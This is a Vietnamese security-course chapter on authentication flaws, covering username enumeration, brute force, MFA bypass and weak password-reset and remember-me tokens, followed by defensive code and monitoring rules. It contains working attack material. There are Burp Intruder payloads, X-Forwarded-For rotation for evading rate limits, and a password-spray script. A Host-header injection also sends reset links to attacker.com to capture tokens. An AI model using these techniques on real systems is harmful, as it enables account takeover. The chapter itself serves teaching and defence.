Chương 4: Authentication — Lỗ hổng xác thực
Khái niệm
Authentication (Xác thực) là quá trình xác minh danh tính — trả lời câu hỏi "Bạn là ai?". Không nhầm với Authorization (Phân quyền) — "Bạn được phép làm gì?".
Mức độ nguy hiểm: Cao — Bypass authentication = truy cập toàn bộ tài khoản.
Lỗ hổng authentication xảy ra khi:
- Logic xác thực bị lỗi
- Implementation sai spec
- Thiếu rate limiting
- Weak credentials được phép tồn tại
Cách hoạt động
Ba yếu tố xác thực (authentication factors):
- Something you know: Password, PIN, security questions
- Something you have: OTP device, authenticator app, hardware key
- Something you are: Fingerprint, face recognition, voice
MFA (Multi-Factor Authentication — Xác thực đa yếu tố) = kết hợp ≥2 yếu tố.
Các loại lỗ hổng Authentication
1. Username Enumeration
Vấn đề: App trả về thông báo khác nhau cho username tồn tại và không tồn tại.
POST /login HTTP/1.1
username=valid_user&password=wrong
→ Response: "Incorrect password" ← username tồn tại
username=invalid_user&password=wrong
→ Response: "Username not found" ← username không tồn tại
Hacker có thể dùng Intruder để enumerate toàn bộ username hợp lệ.
Các dấu hiệu leak username:
- Response body khác nhau
- HTTP status code khác nhau
- Response time khác nhau (database lookup vs. instant reject)
Phòng chống:
❌ "Username not found"
❌ "Incorrect password"
✓ "Invalid credentials" ← luôn dùng cùng một message
2. Brute Force Password
Điều kiện khai thác: Không có rate limiting, không có account lockout, password yếu.
Dùng Burp Intruder:
POST /login
username=admin&password=§payload§
Wordlist: rockyou.txt (14 triệu passwords phổ biến)
Bypass các cơ chế bảo vệ:
Rate limiting by IP → Dùng X-Forwarded-For header:
X-Forwarded-For: 1.2.3.4 (thay đổi mỗi request)
Account lockout → Thử nhiều usernames (password spray):
Dùng 1 password phổ biến (Password123!) với nhiều username khác nhau
CAPTCHA → Dùng 2captcha.com API để bypass tự động
Ví dụ bypass rate limit bằng header:
POST /login HTTP/1.1
X-Forwarded-For: §1.2.3.§4 ← Intruder thay đổi IP
username=admin&password=password123
3. Broken Brute Force Protection
Lỗi logic điển hình:
Scenario 1: Counter reset khi login thành công
→ Gửi request: wrong, wrong, correct → counter reset
→ Gửi: wrong, wrong, wrong (lại)...
→ Bao giờ cũng còn 2 lần thử trước khi lockout
Scenario 2: Lockout chỉ áp dụng cho IP
→ Dùng nhiều IP (botnet, proxy)
Scenario 3: Counter đếm theo session
→ Tạo session mới sau mỗi vài lần thử
4. Flawed Multi-Factor Authentication
MFA Bypass qua URL manipulation:
Flow bình thường:
1. POST /login → success → redirect /mfa-verify
2. POST /mfa-verify?code=123456 → success → redirect /dashboard
Bypass:
1. POST /login với valid credentials
2. Bỏ qua /mfa-verify → trực tiếp truy cập /dashboard
→ Nếu app chỉ kiểm tra bước 1, MFA bị bypass
MFA Bypass qua Brute Force OTP:
Nếu 6-digit OTP không có rate limiting:
Có 1,000,000 tổ hợp → có thể brute force
Dùng Intruder với payload 000000-999999
Bypass bằng response manipulation:
POST /mfa-verify HTTP/1.1
code=000000
Response: {"success": false, "redirect": "/mfa-verify"}
→ Sửa response thành:
{"success": true, "redirect": "/dashboard"}
→ App đọc response từ client và redirect
5. Flawed Password Reset
Email enumeration qua reset:
POST /forgot-password
email=victim@example.com
→ "If this email exists, we'll send a reset link" ← đúng
Nhưng một số app:
→ "Email sent!" ← email tồn tại
→ "Email not found" ← email không tồn tại
Weak reset token:
Reset link: /reset?token=1234567890
→ Token là timestamp? → predictable
→ Token là MD5(email)? → crackable
→ Token quá ngắn? → brute force được
Đúng: Token là 32+ bytes cryptographically random
Host Header Injection trong reset email:
POST /forgot-password HTTP/1.1
Host: attacker.com ← thay đổi
email=victim@example.com
Email gửi đến victim:
"Click here to reset: https://attacker.com/reset?token=abc123"
Victim click → token bị capture
6. Keeping Users Logged In — Remember Me
Weak remember-me token:
Token: base64(username + ":" + MD5(password))
→ Decode được username
→ Crack MD5 → có password
Token: base64("admin:e10adc3949ba59abbe56e057f20f883e")
→ Decode: admin:e10adc3949ba59abbe56e057f20f883e
→ MD5 crack: 123456
Phòng chống: Token phải là random, không chứa thông tin user, lưu hash trong database.
Ví dụ thực tế: Password Spray Attack
Tình huống: Công ty có 500 nhân viên, dùng email làm username, không có lockout sau nhiều lần thử sai.
# Script minh họa (không dùng trái phép)
usernames = ["user1@company.com", "user2@company.com", ...]
common_passwords = ["Company2024!", "Welcome1!", "Password123!"]
for password in common_passwords:
for username in usernames:
response = login(username, password)
if response.status == 200:
print(f"Found: {username}:{password}")
time.sleep(1) # Avoid rate limiting
Kịch bản tấn công: Bypass MFA
Target: Ứng dụng banking với SMS OTP
1. Attacker có username/password của victim (từ data breach)
2. POST /login → success → server send OTP đến phone victim
3. Attacker không có OTP
Khai thác:
4. Attacker kiểm tra: /dashboard có kiểm tra session state không?
5. Truy cập trực tiếp /dashboard với session cookie từ bước 2
6. Nếu app chỉ set "authenticated=true" sau login, chưa set "mfa_verified=true"
→ MFA hoàn toàn bị bypass
Cách phát hiện
Checklist nhận biết lỗ hổng authentication:
□ App trả về message khác nhau cho valid/invalid username
□ Không có rate limiting (test: 100 requests liên tiếp)
□ Không có account lockout
□ CAPTCHA dễ bypass hoặc không có
□ MFA OTP không có expiry hoặc rate limit
□ Reset password token predictable
□ Reset link dùng Host header từ request
□ Remember-me token chứa thông tin user
□ Password policy quá yếu (không có complexity requirement)
□ Default credentials chưa đổi (admin/admin, admin/password)
Phòng chống
Passwords
# Enforce strong password policy
def validate_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[0-9]', password):
return False
if not re.search(r'[^a-zA-Z0-9]', password):
return False
return True
# Hash passwords với bcrypt/argon2 (KHÔNG dùng MD5/SHA1)
import bcrypt
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
Rate Limiting và Lockout
# Rate limiting: max 5 lần thử / 15 phút / IP+username
@app.route('/login', methods=['POST'])
def login():
key = f"login:{request.remote_addr}:{request.form['username']}"
attempts = redis.incr(key)
if attempts == 1:
redis.expire(key, 900) # 15 phút
if attempts > 5:
return jsonify({"error": "Too many attempts"}), 429
# ... actual login logic
MFA đúng cách
# Session state machine cho MFA
def login():
# Bước 1: Verify credentials
if not verify_credentials(username, password):
return error("Invalid credentials")
# Set state: credentials verified, waiting for MFA
session['auth_state'] = 'awaiting_mfa'
session['pending_user_id'] = user.id
return redirect('/mfa-verify')
def mfa_verify():
# Kiểm tra state trước khi cho phép verify MFA
if session.get('auth_state') != 'awaiting_mfa':
return redirect('/login') # Không bypass được
if verify_otp(session['pending_user_id'], request.form['code']):
session['auth_state'] = 'authenticated'
session['user_id'] = session.pop('pending_user_id')
return redirect('/dashboard')
Password Reset an toàn
import secrets
def generate_reset_token():
# 32 bytes = 256-bit entropy
return secrets.token_urlsafe(32)
def forgot_password(email):
# Không leak thông tin về email tồn tại hay không
user = User.find_by_email(email)
if user:
token = generate_reset_token()
store_reset_token(user.id, token, expires_in=3600)
send_reset_email(user.email, token)
# Luôn trả về cùng response
return {"message": "If this email exists, a reset link was sent"}
def reset_password(token, new_password):
# Dùng constant-time comparison để tránh timing attacks
user_id = get_user_by_token(token)
if not user_id:
return error("Invalid token")
# Invalidate token sau khi dùng
delete_reset_token(token)
update_password(user_id, new_password)
Góc nhìn DevOps
Cấu hình Nginx rate limiting:
# Rate limit login endpoint
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;
location /api/login {
limit_req zone=login burst=10 nodelay;
limit_req_status 429;
proxy_pass http://backend;
}
Kubernetes: Không hardcode credentials:
# ❌ SAI: hardcode trong env
env:
- name: ADMIN_PASSWORD
value: "admin123"
# ✓ ĐÚNG: dùng Secret
env:
- name: ADMIN_PASSWORD
valueFrom:
secretKeyRef:
name: app-credentials
key: admin-password
Monitoring failed logins:
# Alertmanager rule: nhiều failed login = brute force attack
- alert: BruteForceDetected
expr: sum(rate(http_requests_total{path="/api/login",status="401"}[5m])) > 20
for: 2m
labels:
severity: warning
annotations:
summary: "Possible brute force on login endpoint"
Password manager cho team:
- HashiCorp Vault cho service accounts
- 1Password Teams / Bitwarden cho nhân viên
- Không bao giờ share password qua Slack/email
Tóm tắt
- Authentication errors thường do logic lỗi, không phải crypto phức tạp.
- Username enumeration là bước đầu tiên — đừng leak thông tin.
- Rate limiting và lockout là must-have, không phải nice-to-have.
- MFA cần có session state machine — không phải chỉ "nếu có OTP thì pass".
- Password reset token phải random, có expiry, dùng 1 lần.
- Hash passwords bằng bcrypt/argon2 với salt, không bao giờ MD5/SHA1.
- Default credentials phải đổi ngay sau khi deploy.
Câu hỏi ôn tập
- Sự khác biệt giữa username enumeration và brute force là gì? Tại sao cả hai đều nguy hiểm?
- Mô tả cách bypass MFA nếu ứng dụng không có session state machine.
- Tại sao MD5 không phải là cách hash password an toàn? Nên dùng gì thay thế?
- Làm thế nào để implement rate limiting cho login endpoint mà không ảnh hưởng đến UX?
- Host Header Injection trong password reset hoạt động như thế nào?